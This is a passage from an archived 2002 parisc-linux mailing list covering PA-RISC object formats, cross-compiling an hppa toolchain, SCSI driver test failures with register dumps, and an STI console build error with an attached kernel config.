PA-RISC-2 describes the machine architecture.  ELF-64 describes one of the
object file format that is use on PA-RISC-2 machines.  The SOM object
file format is used for 32-bit objects.  As Grant noted, SOM objects
support architectures from PA-RISC 1.0 onward.  However, a 2.0 object
will not work on a 1.1 machine.

The object file format zoo is even worse than described above.  The debug
formats used by gcc differ from those used by HP compilers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dark Fiber <dfiber@mega-tokyo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cross compilation
Date: Tue, 29 Jan 2002 21:10:17 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020129205648.00a80ec8@pop.freeserve.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621020 1807 80.91.229.3 (22 Nov 2014 01:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 14:09:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amaretto.propagation.net (unknown [216.97.21.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53D97482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 14:09:00 -0700 (MST)
Original-Received: from death.mega-tokyo.com (host217-39-45-85.in-addr.btopenworld.com [217.39.45.85])
	by amaretto.propagation.net (8.8.5/8.8.5) with ESMTP id PAA21993
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 15:06:02 -0600
X-Sender: entropy@mail.mega-tokyo.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13901

hi. i'm new to the list (slowly going back through the archives).
whats the current gcc status? can i use the cvs from gnu.org? or
do i use the parisc-linux.org version?

i need to build elf64 gcc/binutils for hppa... on my i386 freebsd box.

i need to crosscompile gcc... but all the notes on crosscomp
on the website talk about glibc and other nasty things as well as
requiring the linux kernel in the cross compile build! erk!
but i'm reading that as glibc requires the linux kernel, so i'm
hoping to avoid all that.

it also talks about the debian version of binutils? what makes
the debian binutils different from the standard ones and apply
the hppa patches?

unfortunatly i wont be able to get into doing all this till the weekend,
so i'm just trying to prepare myself ahead of time. (mm planning!)
taking notes. scribbling all over scrap paper.

i've got a sinking feeling i wont be able to build it, but we will see
how it goes. i'm hoping the hppa patches are all generic enough that
i can use standard binutils, etc, otherwise i'll be in a world of trouble.

then its a case of just folling your excellent XC faq...

my intention is to port freebsd to a 64bit lp64(depending..) kernel.
not a serious official freebsd port, but something i want to undertake.
i'm hoping to concentrate on the pa8* cpu series and up. nothing might
come of this whatsoever, but i'm willing to put a little time in and play
around. i think i'm mad, but hey, it takes all kinds! ^_^

but it all depends on getting over that first stumbling block of elf64-hppa
cross compiler working...

-Stuart 'just another mad aussie in london' George


-Dark Fiber <dfiber@mega-tokyo.com>

[FAQ] Write Your Own Operating System
         http://www.mega-tokyo.com/os
Sarien Sierra AGI Emulator
         http://www.mega-tokyo.com/sarien
3x3 Eyes Fanfiction Archive
         http://www.mega-tokyo.com/pai
AD&D UnderDark Roguelike
         http://www.mega-tokyo.com/underdark
Roguelike News II
         http://www.mega-tokyo.com/rlnews






From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cross compilation
Date: Tue, 29 Jan 2002 16:24:33 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0201291620010.2014-100000@spawn.hockeyfiend.com>
References: <5.1.0.14.2.20020129205648.00a80ec8@pop.freeserve.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621020 1809 80.91.229.3 (22 Nov 2014 01:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dark Fiber <dfiber@mega-tokyo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 14:24:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id F063F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 14:24:34 -0700 (MST)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.34 #1 (Debian))
	id 16Vfk1-00017z-00; Tue, 29 Jan 2002 16:24:33 -0500
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <5.1.0.14.2.20020129205648.00a80ec8@pop.freeserve.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13902

On Tue, 29 Jan 2002, Dark Fiber wrote:

> it also talks about the debian version of binutils? what makes
> the debian binutils different from the standard ones and apply
> the hppa patches?

Not much, actually.  I'm working on a new version, but it should be very
easy to tell which patches I added to binutils for hppa.  To my
recollection, the only ones in the current binutils in debian that aren't
in HJ Lu's 2.11.92.0.12.3 are the three from Alan Modra that are already
in upstream CVS (stub size, refcount, and undefined symbol).  They are all
neatly placed in the debian/patches dir of the unpacked debian source
package (or just edit down the diff, if you'd like).  CVS may or may not
be better...I'm not sure yet.

> i've got a sinking feeling i wont be able to build it, but we will see
> how it goes. i'm hoping the hppa patches are all generic enough that
> i can use standard binutils, etc, otherwise i'll be in a world of trouble.

I'm going to be trying CVS on the A500 this week.  Email me outside the
list for my results compared to the debian package.  I'm currently trying
the same comparison on powerpc (since it's my laptop and is in front of me
right now).

C




From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cross compilation
Date: Tue, 29 Jan 2002 22:05:24 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20020129220524.A26142@parcelfarce.linux.theplanet.co.uk>
References: <5.1.0.14.2.20020129205648.00a80ec8@pop.freeserve.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621020 1812 80.91.229.3 (22 Nov 2014 01:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dark Fiber <dfiber@mega-tokyo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 15:05:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0729E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 15:05:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16VgNY-0005Rz-00; Tue, 29 Jan 2002 22:05:24 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <5.1.0.14.2.20020129205648.00a80ec8@pop.freeserve.net>; from dfiber@mega-tokyo.com on Tue, Jan 29, 2002 at 09:10:17PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13903

On Tue, Jan 29, 2002 at 09:10:17PM +0000, Dark Fiber wrote:
> my intention is to port freebsd to a 64bit lp64(depending..) kernel.
> not a serious official freebsd port, but something i want to undertake.
> i'm hoping to concentrate on the pa8* cpu series and up. nothing might
> come of this whatsoever, but i'm willing to put a little time in and play
> around. i think i'm mad, but hey, it takes all kinds! ^_^

Uhm, yeah, you're certifiable :-)

You should ignore the cvs repositories on cvs.p-l.org for the most
part; we get our binutils from upstream and the gcc patches we require
are folded into the debian package (gcc 3.1 is supposed to support
hppa-linux... we'll see).

Just so you know, you'll have to write drivers to support:

 - Runway-to-GSC converter (u2/uturn)
 - GSC-to-PCI (dino/cujo)
 - Runway-to-Ropes (astro/ike)
 - Ropes-to-PCI (elroy)
 - Multifunction IO (lasi, wax, suckyio)

plus, if freebsd doesn't already have them:

 - Apricot (i82596) ethernet
 - ncr720 scsi
 - suckyio IDE/USB

you can cut down the number of drivers to write if you decide to only
support machines such as B1000 and up -- basically you're down to Astro
and Elroy support for those machines.  SuckyIO support if you want to
use the builtin serial/usb/ide/ps2/parallel controller.  But we managed
without that support for months, using PCI serial cards as console.  Oh
and don't forget the sound driver.  Think that's it...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sim700 Driver and 715/50's
Date: Tue, 29 Jan 2002 17:27:56 -0500
Lines: 83
Approved: news@gmane.org
Message-ID: <20020129172756.J1945@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621021 2071 80.91.229.3 (22 Nov 2014 01:50:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 15:27:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 246C7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 15:27:53 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g0TMRu404338
	for parisc-linux@lists.parisc-linux.org; Tue, 29 Jan 2002 17:27:56 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13904

parisc'ers,

I was recently playing with the SCSI drivers for the
LASI and without much sucess on some fronts.

After staring at some source for a few minutes, I changed
CONFIG_SCSI_LASI700 to CONFIG_SCSI_LASI to get the
older sim700 driver to compile for the latest kernel.

This is really only phase 1 of 2 steps:

1. Test new kernel with old driver
2. Test new kernel with new driver (but with tag queue tweaks)

The reason was to determine:

a. Random hangs on 715/50's (attributed to scsi driver)
	= Diskless nodes just keep on trucking.
b. Why certain scsi drives failed to work with new 53c700
   driver, but work with the old sim700.

--- Kernel with CONFIG_SCSI_LASI gives ---

sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 FAILED: dsps: exp 0xab93001d, got 0x00000002
scsi0: Chip register contents:
 (script[0] at virt 10070000, bus 70000)
 00  sien:  af  sdid:  00  scntl1:20  scntl0:c4
 04  socl:  02  sodl:  00  sxfer: 00  scid:  80
 08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
 0C  sstat2:00  sstat1:00  sstat0:00  dstat: 80
 10
 14  ctest3:ae  ctest2:31  ctest1:f0  ctest0:00
 18  ctest7:00  ctest6:da  ctest5:00  ctest4:00
 1C  temp:  00000000
 20              ctest8:ff  istat: 04  dfifo: 00
 24  dbc:   00000002  dnad:  00000002  dsp:   080774ac
 30  dsps:  00000002
 34  dmode: 80
 38  dcntl: 80  dwt:   00  dien:  1d
 3C
scsi0: could not halt NCR chip, stage 2
Warning : device (10, 0xb, 0x0, 0x71) NOT claimed by Lasi SCSI

Tested on another machines also gives:

sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 FAILED: dsps: exp 0xab93001d, got 0x00000002
scsi0: Chip register contents:
 (script[0] at virt 10070000, bus 70000)
 00  sien:  af  sdid:  00  scntl1:20  scntl0:c4
 04  socl:  02  sodl:  00  sxfer: 00  scid:  80
 08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
 0C  sstat2:00  sstat1:00  sstat0:00  dstat: 80
 10
 14  ctest3:00  ctest2:21  ctest1:f0  ctest0:00
 18  ctest7:00  ctest6:00  ctest5:00  ctest4:00
 1C  temp:  00000000
 20              ctest8:ff  istat: 04  dfifo: 00
 24  dbc:   00000002  dnad:  00000002  dsp:   080774ac
 30  dsps:  00000002
 34  dmode: 80
 38  dcntl: 80  dwt:   00  dien:  1d
 3C
scsi0: could not halt NCR chip, stage 2
Warning : device (10, 0x7, 0x0, 0x71) NOT claimed by Lasi SCSI

I'm not really sure what is going on here?

Does this mean:

- sim700 driver is not quite working proplerly with new kernel

I'm going to move into my second phase of testing, and
see if the new driver can hack it :)

Any suggestions would be appreciated.

c.



From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI Video stuff dependant on PCI?
Date: Tue, 29 Jan 2002 17:41:25 -0500
Lines: 565
Approved: news@gmane.org
Message-ID: <20020129174125.K1945@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="liOOAslEiF7prFVr"
X-Trace: ger.gmane.org 1416621021 2085 80.91.229.3 (22 Nov 2014 01:50:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:21 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 15:41:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2590482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 15:41:16 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g0TMfPp04608;
	Tue, 29 Jan 2002 17:41:25 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (86% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13905

--liOOAslEiF7prFVr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

parisc,

Test... test... test... 

STI Console is dependant on PCI

-> General Options -> PCI Support
(CONFIG_PCI=n)

-> Console Drivers -> STI Console
(CONFIG_STI_CONSOLE=y)

*boom* :)

I'll have time on Sunday to produce a patch
if no one has time for it ;)

-- Build --

hppa-linux-ld -T /disk2/palinux2/src/linux/arch/parisc/vmlinux.lds  arch/parisc/kernel/head.o  init/main.o init/version.o \
--start-group \
arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o arch/parisc/lib/lib.a arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o arch/parisc/hpux/hpux.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o arch/parisc/kernel/init_task.o \
 drivers/char/char.o drivers/block/block.o drivers/misc/misc.o drivers/net/net.o drivers/media/media.o drivers/sound/sounddrivers.o drivers/video/video.o drivers/gsc/gscbus.o arch/parisc/math-emu/math.o \
net/network.o \
`hppa-linux-gcc -print-libgcc-file-name` /disk2/palinux2/src/linux/arch/parisc/lib/lib.a /disk2/palinux2/src/linux/lib/lib.a  \
	--end-group \
	-o vmlinux
drivers/video/video.o: In function `sticore_pci_init':
drivers/video/video.o(.init.text+0x1034): undefined reference to `pci_hwpath'
make: *** [vmlinux] Error 1

-----------

I've attched my .config for any takers.

c.



--liOOAslEiF7prFVr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=config

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# Processor type
#
CONFIG_PA7100=y
# CONFIG_PA7200 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
CONFIG_IOMMU_CCIO=y
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
# CONFIG_EISA is not set
# CONFIG_ISA is not set
# CONFIG_PCI is not set

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_NBD=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_MMAP is not set
CONFIG_NETLINK_DEV=y
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
# CONFIG_SCSI is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=y
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_SUNLANCE is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNLANCE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EXT3_FS is not set
# CONFIG_JBD is not set
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
